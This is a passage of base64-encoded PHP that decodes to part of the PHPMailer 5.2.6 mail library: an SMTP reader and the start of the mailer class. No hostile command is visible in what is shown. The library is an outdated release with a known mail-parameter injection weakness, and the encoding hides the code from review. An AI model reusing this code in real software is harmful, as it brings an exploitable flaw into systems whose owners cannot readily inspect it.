ik7CiAgICAgIH0KICAgICAgcmV0dXJuIGZ3cml0ZSgkdGhpcy0+c210cF9jb25uLCAkZGF0YSk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gZ2V0RXJyb3IoKSB7CiAgICByZXR1cm4gJHRoaXMtPmVycm9yOwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIGdldF9saW5lcygpIHsKICAgICRkYXRhID0gJyc7CiAgICAkZW5kdGltZSA9IDA7CiAgICBpZiAoIWlzX3Jlc291cmNlKCR0aGlzLT5zbXRwX2Nvbm4pKSB7CiAgICAgIHJldHVybiAkZGF0YTsKICAgIH0KICAgIHN0cmVhbV9zZXRfdGltZW91dCgkdGhpcy0+c210cF9jb25uLCAkdGhpcy0+VGltZW91dCk7CiAgICBpZiAoJHRoaXMtPlRpbWVsaW1pdCA+IDApIHsKICAgICAgJGVuZHRpbWUgPSB0aW1lKCkgKyAkdGhpcy0+VGltZWxpbWl0OwogICAgfQogICAgd2hpbGUoaXNfcmVzb3VyY2UoJHRoaXMtPnNtdHBfY29ubikgJiYgIWZlb2YoJHRoaXMtPnNtdHBfY29ubikpIHsKICAgICAgJHN0ciA9IEBmZ2V0cygkdGhpcy0+c210cF9jb25uLCA1MTUpOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gNCkgewogICAgICAgICR0aGlzLT5lZGVidWcoIlNNVFAgLT4gZ2V0X2xpbmVzKCk6IFwkZGF0YSB3YXMgXCIkZGF0YVwiIik7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygiU01UUCAtPiBnZXRfbGluZXMoKTogXCRzdHIgaXMgXCIkc3RyXCIiKTsKICAgICAgfQogICAgICAkZGF0YSAuPSAkc3RyOwogICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gNCkgewogICAgICAgICR0aGlzLT5lZGVidWcoIlNNVFAgLT4gZ2V0X2xpbmVzKCk6IFwkZGF0YSBpcyBcIiRkYXRhXCIiKTsKICAgICAgfQogICAgICBpZihzdWJzdHIoJHN0ciwgMywgMSkgPT0gJyAnKSB7IGJyZWFrOyB9CiAgICAgICRpbmZvID0gc3RyZWFtX2dldF9tZXRhX2RhdGEoJHRoaXMtPnNtdHBfY29ubik7CiAgICAgIGlmICgkaW5mb1sndGltZWRfb3V0J10pIHsKICAgICAgICBpZigkdGhpcy0+ZG9fZGVidWcgPj0gNCkgewogICAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBnZXRfbGluZXMoKTogdGltZWQtb3V0ICgnIC4gJHRoaXMtPlRpbWVvdXQgLiAnIHNlY29uZHMpJyk7CiAgICAgICAgfQogICAgICAgIGJyZWFrOwogICAgICB9CiAgICAgIC8vIE5vdyBjaGVjayBpZiByZWFkcyB0b29rIHRvbyBsb25nCiAgICAgIGlmICgkZW5kdGltZSkgewogICAgICAgIGlmICh0aW1lKCkgPiAkZW5kdGltZSkgewogICAgICAgICAgaWYoJHRoaXMtPmRvX2RlYnVnID49IDQpIHsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBnZXRfbGluZXMoKTogdGltZWxpbWl0IHJlYWNoZWQgKCcgLiAkdGhpcy0+VGltZWxpbWl0IC4gJyBzZWNvbmRzKScpOwogICAgICAgICAgfQogICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgICB9CiAgICB9CiAgICByZXR1cm4gJGRhdGE7CiAgfQoKfQoKCmNsYXNzIFBIUE1haWxlciB7CiAgcHVibGljICRQcmlvcml0eSAgICAgICAgICA9IDM7CiAgcHVibGljICRDaGFyU2V0ICAgICAgICAgICA9ICdpc28tODg1OS0xJzsKICBwdWJsaWMgJENvbnRlbnRUeXBlICAgICAgID0gJ3RleHQvcGxhaW4nOwogIHB1YmxpYyAkRW5jb2RpbmcgICAgICAgICAgPSAnOGJpdCc7CiAgcHVibGljICRFcnJvckluZm8gICAgICAgICA9ICcnOwogIHB1YmxpYyAkRnJvbSAgICAgICAgICAgICAgPSAncm9vdEBsb2NhbGhvc3QnOwogIHB1YmxpYyAkRnJvbU5hbWUgICAgICAgICAgPSAnUm9vdCBVc2VyJzsKICBwdWJsaWMgJFNlbmRlciAgICAgICAgICAgID0gJyc7CiAgcHVibGljICRSZXR1cm5QYXRoICAgICAgICA9ICcnOwogIHB1YmxpYyAkU3ViamVjdCAgICAgICAgICAgPSAnJzsKICBwdWJsaWMgJEJvZHkgICAgICAgICAgICAgID0gJyc7CiAgcHVibGljICRBbHRCb2R5ICAgICAgICAgICA9ICcnOwogIHB1YmxpYyAkSWNhbCAgICAgICAgICAgICAgPSAnJzsKICBwcm90ZWN0ZWQgJE1JTUVCb2R5ICAgICAgID0gJyc7CiAgcHJvdGVjdGVkICRNSU1FSGVhZGVyICAgICA9ICcnOwogIHByb3RlY3RlZCAkbWFpbEhlYWRlciAgICAgPSAnJzsKICBwdWJsaWMgJFdvcmRXcmFwICAgICAgICAgID0gMDsKICBwdWJsaWMgJE1haWxlciAgICAgICAgICAgID0gJ21haWwnOwogIHB1YmxpYyAkU2VuZG1haWwgICAgICAgICAgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICBwdWJsaWMgJFVzZVNlbmRtYWlsT3B0aW9ucwk9IHRydWU7CiAgcHVibGljICRQbHVnaW5EaXIgICAgICAgICA9ICcnOwogIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyAgPSAnJzsKICBwdWJsaWMgJEhvc3RuYW1lICAgICAgICAgID0gJyc7CiAgcHVibGljICRNZXNzYWdlSUQgICAgICAgICA9ICcnOwogIHB1YmxpYyAkTWVzc2FnZURhdGUgICAgICAgPSAnJzsKCiAgcHVibGljICRIb3N0ICAgICAgICAgID0gJ2xvY2FsaG9zdCc7CiAgcHVibGljICRQb3J0ICAgICAgICAgID0gMjU7CiAgcHVibGljICRIZWxvICAgICAgICAgID0gJyc7CiAgcHVibGljICRTTVRQU2VjdXJlICAgID0gJyc7CiAgcHVibGljICRTTVRQQXV0aCAgICAgID0gZmFsc2U7CiAgcHVibGljICRVc2VybmFtZSAgICAgID0gJyc7CiAgcHVibGljICRQYXNzd29yZCAgICAgID0gJyc7CiAgcHVibGljICRBdXRoVHlwZSAgICAgID0gJyc7CiAgcHVibGljICRSZWFsbSAgICAgICAgID0gJyc7CiAgcHVibGljICRXb3Jrc3RhdGlvbiAgID0gJyc7CiAgcHVibGljICRUaW1lb3V0ICAgICAgID0gMTA7CiAgcHVibGljICRTTVRQRGVidWcgICAgID0gZmFsc2U7CiAgcHVibGljICREZWJ1Z291dHB1dCAgICAgPSAiZWNobyI7CiAgcHVibGljICRTTVRQS2VlcEFsaXZlID0gZmFsc2U7CiAgcHVibGljICRTaW5nbGVUbyAgICAgID0gZmFsc2U7CiAgcHVibGljICRkb192ZXJwICAgICAgPSBmYWxzZTsKICBwdWJsaWMgJFNpbmdsZVRvQXJyYXkgPSBhcnJheSgpOwogIHB1YmxpYyAkQWxsb3dFbXB0eSA9IGZhbHNlOwogIHB1YmxpYyAkTEUgICAgICAgICAgICAgID0gIlxuIjsKICBwdWJsaWMgJERLSU1fc2VsZWN0b3IgICA9ICcnOwogIHB1YmxpYyAkREtJTV9pZGVudGl0eSAgID0gJyc7CiAgcHVibGljICRES0lNX3Bhc3NwaHJhc2UgICA9ICcnOwogIHB1YmxpYyAkREtJTV9kb21haW4gICAgID0gJyc7CiAgcHVibGljICRES0lNX3ByaXZhdGUgICAgPSAnJzsKICBwdWJsaWMgJGFjdGlvbl9mdW5jdGlvbiA9ICcnOyAvLydjYWxsYmFja0FjdGlvbic7CiAgcHVibGljICRWZXJzaW9uICAgICAgICAgPSAnNS4yLjYnOwogIHB1YmxpYyAkWE1haWxlciAgICAgICAgID0gJyc7CgogIHByb3RlY3RlZCAgICRzbXRwICAgICAgICAgICA9IG51bGw7CiAgcHJvdGVjdGVkICAgJHRvICAgICAgICAgICAgID0gYXJyYXkoKTsKICBwcm90ZWN0ZWQgICAkY2MgICAgICAgICAgICAgPSBhcnJheSgpOwogIHByb3RlY3RlZCAgICRiY2MgICAgICAgICAgICA9IGFycmF5KCk7CiAgcHJvdGVjdGVkICAgJFJlcGx5VG8gICAgICAgID0gYXJyYXkoKTsKICBwcm90ZWN0ZWQgICAkYWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOwogIHByb3RlY3RlZCAgICRhdHRhY2htZW50ICAgICA9IGFycmF5KCk7CiAgcHJvdGVjdGVkICAgJEN1c3RvbUhlYWRlciAgID0gYXJyYXkoKTsKICBwcm90ZWN0ZWQgICAkbWVzc2FnZV90eXBlICAgPSAnJzsKICBwcm90ZWN0ZWQgICAkYm91bmRhcnkgICAgICAgPSBhcnJheSgpOwogIHByb3RlY3RlZCAgICRsYW5ndWFnZSAgICAgICA9IGFycmF5KCk7CiAgcHJvdGVjdGVkICAgJGVycm9yX2NvdW50ICAgID0gMDsKICBwcm90ZWN0ZWQgICAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsKICBwcm90ZWN0ZWQgICAkc2lnbl9rZXlfZmlsZSAgPSAnJzsKICBwcm90ZWN0ZWQgICAkc2lnbl9rZXlfcGFzcyAgPSAnJzsKICBwcm90ZWN0ZWQgICAkZXhjZXB0aW9ucyAgICAgPSBmYWxzZTsKCiAgY29uc3QgU1RPUF9NRVNTQUdFICA9IDA7IC8vIG1lc3NhZ2Ugb25seSwgY29udGludWUgcHJvY2Vzc2luZwogIGNvbnN0IFNUT1BfQ09OVElOVUUgPSAxOyAvLyBtZXNzYWdlPywgbGlrZWx5IG9rIHRvIGNvbnRpbnVlIHByb2Nlc3NpbmcKICBjb25zdCBTVE9QX0NSSVRJQ0FMID0gMjsgLy8gbWVzc2FnZSwgcGx1cyBmdWxsIHN0b3AsIGNyaXRpY2FsIGVycm9yIHJlYWNoZWQKICBjb25zdCBDUkxGID0gIlxyXG4iOyAgICAgLy8gU01UUCBSRkMgc3BlY2lmaWVkIEVPTAoKICBwcml2YXRlIGZ1bmN0aW9uIG1haWxfcGFzc3RocnUoJHRvLCAkc3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpIHsKICAgIGlmICggaW5pX2dldCgnc2FmZV9tb2RlJykgfHwgISgkdGhpcy0+VXNlU2VuZG1haWxPcHRpb25zKSApIHsKICAgICAgICAkcnQgPSBAbWFpbCgkdG8sICR0aGlzLT5FbmNvZGVIZWFkZXIoJHRoaXMtPlNlY3VyZUhlYWRlcigkc3ViamVjdCkpLCAkYm9keSwgJGhlYWRlcik7CiAgICB9IGVsc2UgewogICAgICAgICRydCA9IEBtYWlsKCR0bywgJHRoaXMtPkVuY29kZUhlYWRlcigkdGhpcy0+U2VjdXJlSGVhZGVyKCRzdWJqZWN0KSksICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKTsKICAgIH0KICAgIHJldHVybiAkcnQ7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gZWRlYnVnKCRzdHIpIHsKICAgIHN3aXRjaCAoJHRoaXMtPkRlYnVnb3V0cHV0KSB7CiAgICAgIGNhc2UgJ2Vycm9yX2xvZyc6CiAgICAgICAgZXJyb3JfbG9nKCRzdHIpOwogICAgICAgIGJyZWFrOwogICAgICBjYXNlICdodG1sJzoKICAgICAgICAvL0NsZWFucyB1cCBvdXRwdXQgYSBiaXQgZm9yIGEgYmV0dGVyIGxvb2tpbmcgZGlzcGxheSB0aGF0J3MgSFRNTC1zYWZlCiAgICAgICAgZWNobyBodG1sZW50aXRpZXMocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJHN0ciksIEVOVF9RVU9URVMsICR0aGlzLT5DaGFyU2V0KS4iPGJyPlxuIjsKICAgICAgICBicmVhazsKICAgICAgY2FzZSAnZWNobyc6CiAgICAgIGRlZmF1bHQ6CiAgICAgICAgLy9KdXN0IGVjaG9lcyBleGFjdGx5IHdoYXQgd2FzIHJlY2VpdmVkCiAgICAgICAgZWNobyAkc3RyOwogICAgfQogIH0KCiAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRleGNlcHRpb25zID0gZmFsc2UpIHsKICAgICR0aGlzLT5leGNlcHRpb25zID0gKCRleGNlcHRpb25zID09IHRydWUpOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKSB7CiAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdzbXRwJykgeyAvL0Nsb3NlIGFueSBvcGVuIFNNVFAgY29ubmVjdGlvbiBuaWNlbHkKICAgICAgICAgICR0aGlzLT5TbXRwQ2xvc2UoKTsKICAgICAgfQogIH0KCiAgcHVibGljIGZ1bmN0aW9uIElzSFRNTCgkaXNodG1sID0gdHJ1ZSkgewogICAgaWYgKCRpc2h0bWwpIHsKICAgICAgJHRoaXMtPkNvbnRlbnRUeXBlID0gJ3RleHQvaHRtbCc7CiAgICB9IGVsc2UgewogICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAndGV4dC9wbGFpbic7CiAgICB9CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gSXNTTVRQKCkgewogICAgJHRoaXMtPk1haWxlciA9ICdzbXRwJzsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBJc01haWwoKSB7CiAgICAkdGhpcy0+TWFpbGVyID0gJ21haWwnOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIElzU2VuZG1haWwoKSB7CiAgICBpZiAoIXN0cmlzdHIoaW5pX2dldCgnc2VuZG1haWxfcGF0aCcpLCAnc2VuZG1haWwnKSkgewogICAgICAkdGhpcy0+U2VuZG1haWwgPSAnL3Zhci9xbWFpbC9iaW4vc2VuZG1haWwnOwogICAgfQogICAgJHRoaXMtPk1haWxlciA9ICdzZW5kbWFpbCc7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gSXNRbWFpbCgpIHsKICAgIGlmIChzdHJpc3RyKGluaV9nZXQoJ3NlbmRtYWlsX3BhdGgnKSwgJ3FtYWlsJykpIHsKICAgICAgJHRoaXMtPlNlbmRtYWlsID0gJy92YXIvcW1haWwvYmluL3NlbmRtYWlsJzsKICAgIH0KICAgICR0aGlzLT5NYWlsZXIgPSAnc2VuZG1haWwnOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIEFkZEFkZHJlc3MoJGFkZHJlc3MsICRuYW1lID0gJycpIHsKICAgIHJldHVybiAkdGhpcy0+QWRkQW5BZGRyZXNzKCd0bycsICRhZGRyZXNzLCAkbmFtZSk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkQ0MoJGFkZHJlc3MsICRuYW1lID0gJycpIHsKICAgIHJldHVybiAkdGhpcy0+QWRkQW5BZGRyZXNzKCdjYycsICRhZGRyZXNzLCAkbmFtZSk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkQkNDKCRhZGRyZXNzLCAkbmFtZSA9ICcnKSB7CiAgICByZXR1cm4gJHRoaXMtPkFkZEFuQWRkcmVzcygnYmNjJywgJGFkZHJlc3MsICRuYW1lKTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBBZGRSZXBseVRvKCRhZGRyZXNzLCAkbmFtZSA9ICcnKSB7CiAgICByZXR1cm4gJHRoaXMtPkFkZEFuQWRkcmVzcygnUmVwbHktVG8nLCAkYWRkcmVzcywgJG5hbWUpOwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIEFkZEFuQWRkcmVzcygka2luZCwgJGFkZHJlc3MsICRuYW1lID0gJycpIHsKICAgIGlmICghcHJlZ19tYXRjaCgnL14odG98Y2N8YmNjfFJlcGx5LVRvKSQvJywgJGtpbmQpKSB7CiAgICAgICR0aGlzLT5TZXRFcnJvcigkdGhpcy0+TGFuZygnSW52YWxpZCByZWNpcGllbnQgYXJyYXknKS4nOiAnLiRraW5kKTsKICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbignSW52YWxpZCByZWNpcGllbnQgYXJyYXk6ICcgLiAka2luZCk7CiAgICAgIH0KICAgICAgaWYgKCR0aGlzLT5TTVRQRGVidWcpIHsKICAgICAgICAkdGhpcy0+ZWRlYnVnKCR0aGlzLT5MYW5nKCdJbnZhbGlkIHJlY2lwaWVudCBhcnJheScpLic6ICcuJGtpbmQpOwogICAgICB9CiAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgIGlmICghJHRoaXMtPlZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgJHRoaXMtPlNldEVycm9yKCR0aGlzLT5MYW5nKCdpbnZhbGlkX2FkZHJlc3MnKS4nOiAnLiAkYWRkcmVzcyk7CiAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ2ludmFsaWRfYWRkcmVzcycpLic6ICcuJGFkZHJlc3MpOwogICAgICB9CiAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnKSB7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygkdGhpcy0+TGFuZygnaW52YWxpZF9hZGRyZXNzJykuJzogJy4kYWRkcmVzcyk7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgaWYgKCRraW5kICE9ICdSZXBseS1UbycpIHsKICAgICAgaWYgKCFpc3NldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldKSkgewogICAgICAgIGFycmF5X3B1c2goJHRoaXMtPiRraW5kLCBhcnJheSgkYWRkcmVzcywgJG5hbWUpKTsKICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYWRkcmVzcyldID0gdHJ1ZTsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKHN0cnRvbG93ZXIoJGFkZHJlc3MpLCAkdGhpcy0+UmVwbHlUbykpIHsKICAgICAgICAkdGhpcy0+UmVwbHlUb1tzdHJ0b2xvd2VyKCRhZGRyZXNzKV0gPSBhcnJheSgkYWRkcmVzcywgJG5hbWUpOwogICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICB9CiAgcmV0dXJuIGZhbHNlOwp9CgogIHB1YmxpYyBmdW5jdGlvbiBTZXRGcm9tKCRhZGRyZXNzLCAkbmFtZSA9ICcnLCAkYXV0byA9IHRydWUpIHsKICAgICRhZGRyZXNzID0gdHJpbSgkYWRkcmVzcyk7CiAgICAkbmFtZSA9IHRyaW0ocHJlZ19yZXBsYWNlKCcvW1xyXG5dKy8nLCAnJywgJG5hbWUpKTsgLy9TdHJpcCBicmVha3MgYW5kIHRyaW0KICAgIGlmICghJHRoaXMtPlZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykpIHsKICAgICAgJHRoaXMtPlNldEVycm9yKCR0aGlzLT5MYW5nKCdpbnZhbGlkX2FkZHJlc3MnKS4nOiAnLiAkYWRkcmVzcyk7CiAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ2ludmFsaWRfYWRkcmVzcycpLic6ICcuJGFkZHJlc3MpOwogICAgICB9CiAgICAgIGlmICgkdGhpcy0+U01UUERlYnVnKSB7CiAgICAgICAgJHRoaXMtPmVkZWJ1ZygkdGhpcy0+TGFuZygnaW52YWxpZF9hZGRyZXNzJykuJzogJy4kYWRkcmVzcyk7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgJHRoaXMtPkZyb20gPSAkYWRkcmVzczsKICAgICR0aGlzLT5Gcm9tTmFtZSA9ICRuYW1lOwogICAgaWYgKCRhdXRvKSB7CiAgICAgIGlmIChlbXB0eSgkdGhpcy0+U2VuZGVyKSkgewogICAgICAgICR0aGlzLT5TZW5kZXIgPSAkYWRkcmVzczsKICAgICAgfQogICAgfQogICAgcmV0dXJuIHRydWU7CiAgfQoKICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIFZhbGlkYXRlQWRkcmVzcygkYWRkcmVzcykgewogICAgICBpZiAoZGVmaW5lZCgnUENSRV9WRVJTSU9OJykpIHsgLy9DaGVjayB0aGlzIGluc3RlYWQgb2YgZXh0ZW5zaW9uX2xvYWRlZCBzbyBpdCB3b3JrcyB3aGVuIHRoYXQgZnVuY3Rpb24gaXMgZGlzYWJsZWQKICAgICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUENSRV9WRVJTSU9OLCAnOC4wJykgPj0gMCkgewogICAgICAgICAgICAgIHJldHVybiAoYm9vbGVhbilwcmVnX21hdGNoKCcvXig/ISg/Pig/MSkiPyg/PlxcXFsgLX5dfFteIl0pIj8oPzEpKXsyNTUsfSkoPyEoPz4oPzEpIj8oPz5cXFxbIC1+XXxbXiJdKSI/KD8xKSl7NjUsfUApKCg/Pig/Pig/PigoPz4oPz4oPz5ceDBEXHgwQSk/W1x0IF0pK3woPz5bXHQgXSpceDBEXHgwQSk/W1x0IF0rKT8pKFwoKD8+KD8yKSg/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtXCcqLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHg3Rl18KD8zKSkpKig/MilcKSkpKyg/MikpfCg/MikpPykoWyEjLVwnKitcLy05PT9eLX4tXSt8Iig/Pig/MikoPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHg3Rl0pKSooPzIpIikoPz4oPzEpXC4oPzEpKD80KSkqKD8xKUAoPyEoPzEpW2EtejAtOS1dezY0LH0pKD8xKSg/PihbYS16MC05XSg/PlthLXowLTktXSpbYS16MC05XSk/KSg/Pig/MSlcLig/ISg/MSlbYS16MC05LV17NjQsfSkoPzEpKD81KSl7MCwxMjZ9fFxbKD86KD8+SVB2NjooPz4oW2EtZjAtOV17MSw0fSkoPz46KD82KSl7N318KD8hKD86LipbYS1mMC05XVs6XF1dKXs4LH0pKCg/NikoPz46KD82KSl7MCw2fSk/OjooPzcpPykpfCg/Pig/PklQdjY6KD8+KD82KSg/PjooPzYpKXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPzgpPzo6KD8+KCg/NikoPz46KD82KSl7MCw0fSk6KT8pKT8oMjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn18WzEtOV0/WzAtOV0pKD8+XC4oPzkpKXszfSkpXF0pKD8xKSQvaXNEJywgJGFkZHJlc3MpOwogICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAvL0ZhbGwgYmFjayB0byBhbiBvbGRlciByZWdleCB0aGF0IGRvZXNuJ3QgbmVlZCBhIHJlY2VudCBQQ1JFCiAgICAgICAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goJy9eKD8hKD8+Ij8oPz5cXFxbIC1+XXxbXiJdKSI/KXsyNTUsfSkoPyEoPz4iPyg/PlxcXFsgLX5dfFteIl0pIj8pezY1LH1AKSg/PlshIy1cJyorXC8tOT0/Xi1+LV0rfCIoPz4oPz5bXHgwMS1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKSg/PlwuKD8+WyEjLVwnKitcLy05PT9eLX4tXSt8Iig/Pig/PltceDAxLVx4MDhceDBCXHgwQ1x4MEUtISMtXFtcXS1ceDdGXXxcXFxbXHgwMC1ceEZGXSkpKiIpKSpAKD8+KD8hW2EtejAtOS1dezY0LH0pKD8+W2EtejAtOV0oPz5bYS16MC05LV0qW2EtejAtOV0pPykoPz5cLig/IVthLXowLTktXXs2NCx9KSg/PlthLXowLTldKD8+W2EtejAtOS1dKlthLXowLTldKT8pKXswLDEyNn18XFsoPzooPz5JUHY2Oig/Pig/PlthLWYwLTldezEsNH0pKD8+OlthLWYwLTldezEsNH0pezd9fCg/ISg/Oi4qW2EtZjAtOV1bOlxdXSl7OCx9KSg/PlthLWYwLTldezEsNH0oPz46W2EtZjAtOV17MSw0fSl7MCw2fSk/OjooPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNn0pPykpfCg/Pig/PklQdjY6KD8+W2EtZjAtOV17MSw0fSg/PjpbYS1mMC05XXsxLDR9KXs1fTp8KD8hKD86LipbYS1mMC05XTopezYsfSkoPz5bYS1mMC05XXsxLDR9KD8+OlthLWYwLTldezEsNH0pezAsNH0pPzo6KD8+KD86W2EtZjAtOV17MSw0fSg/PjpbYS1mMC05XXsxLDR9KXswLDR9KTopPykpPyg/PjI1WzAtNV18MlswLTRdWzAtOV18MVswLTldezJ9fFsxLTldP1swLTldKSg/PlwuKD8+MjVbMC01XXwyWzAtNF1bMC05XXwxWzAtOV17Mn18WzEtOV0/WzAtOV0pKXszfSkpXF0pJC9pc0QnLCAkYWRkcmVzcyk7CiAgICAgICAgICB9CiAgICAgIH0gZWxzZSB7CiAgICAgICAgICByZXR1cm4gKHN0cmxlbigkYWRkcmVzcykgPj0gMyBhbmQgc3RycG9zKCRhZGRyZXNzLCAnQCcpID49IDEgYW5kIHN0cnBvcygkYWRkcmVzcywgJ0AnKSAhPSBzdHJsZW4oJGFkZHJlc3MpIC0gMSk7CiAgICAgIH0KICB9CgogIHB1YmxpYyBmdW5jdGlvbiBTZW5kKCkgewogICAgdHJ5IHsKICAgICAgaWYoISR0aGlzLT5QcmVTZW5kKCkpIHJldHVybiBmYWxzZTsKICAgICAgcmV0dXJuICR0aGlzLT5Qb3N0U2VuZCgpOwogICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRlKSB7CiAgICAgICR0aGlzLT5tYWlsSGVhZGVyID0gJyc7CiAgICAgICR0aGlzLT5TZXRFcnJvcigkZS0+Z2V0TWVzc2FnZSgpKTsKICAgICAgaWYgKCR0aGlzLT5leGNlcHRpb25zKSB7CiAgICAgICAgdGhyb3cgJGU7CiAgICAgIH0KICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogIH0KCiAgcHVibGljIGZ1bmN0aW9uIFByZVNlbmQoKSB7CiAgICB0cnkgewogICAgICAkdGhpcy0+bWFpbEhlYWRlciA9ICIiOwogICAgICBpZiAoKGNvdW50KCR0aGlzLT50bykgKyBjb3VudCgkdGhpcy0+Y2MpICsgY291bnQoJHRoaXMtPmJjYykpIDwgMSkgewogICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ3Byb3ZpZGVfYWRkcmVzcycpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgfQoKICAgICAgLy8gU2V0IHdoZXRoZXIgdGhlIG1lc3NhZ2UgaXMgbXVsdGlwYXJ0L2FsdGVybmF0aXZlCiAgICAgIGlmKCFlbXB0eSgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlJzsKICAgICAgfQoKICAgICAgJHRoaXMtPmVycm9yX2NvdW50ID0gMDsgLy8gcmVzZXQgZXJyb3JzCiAgICAgICR0aGlzLT5TZXRNZXNzYWdlVHlwZSgpOwogICAgICAvL1JlZnVzZSB0byBzZW5kIGFuIGVtcHR5IG1lc3NhZ2UgdW5sZXNzIHdlIGFyZSBzcGVjaWZpY2FsbHkgYWxsb3dpbmcgaXQKICAgICAgaWYgKCEkdGhpcy0+QWxsb3dFbXB0eSBhbmQgZW1wdHkoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+TGFuZygnZW1wdHlfbWVzc2FnZScpLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgfQoKICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSAkdGhpcy0+Q3JlYXRlSGVhZGVyKCk7CiAgICAgICR0aGlzLT5NSU1FQm9keSA9ICR0aGlzLT5DcmVhdGVCb2R5KCk7CgogICAgICAvLyBUbyBjYXB0dXJlIHRoZSBjb21wbGV0ZSBtZXNzYWdlIHdoZW4gdXNpbmcgbWFpbCgpLCBjcmVhdGUKICAgICAgLy8gYW4gZXh0cmEgaGVhZGVyIGxpc3Qgd2hpY2ggQ3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluCiAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdtYWlsJykgewogICAgICAgIGlmIChjb3VudCgkdGhpcy0+dG8pID4gMCkgewogICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPkFkZHJBcHBlbmQoIlRvIiwgJHRoaXMtPnRvKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPkhlYWRlckxpbmUoIlRvIiwgInVuZGlzY2xvc2VkLXJlY2lwaWVudHM6OyIpOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+bWFpbEhlYWRlciAuPSAkdGhpcy0+SGVhZGVyTGluZSgnU3ViamVjdCcsICR0aGlzLT5FbmNvZGVIZWFkZXIoJHRoaXMtP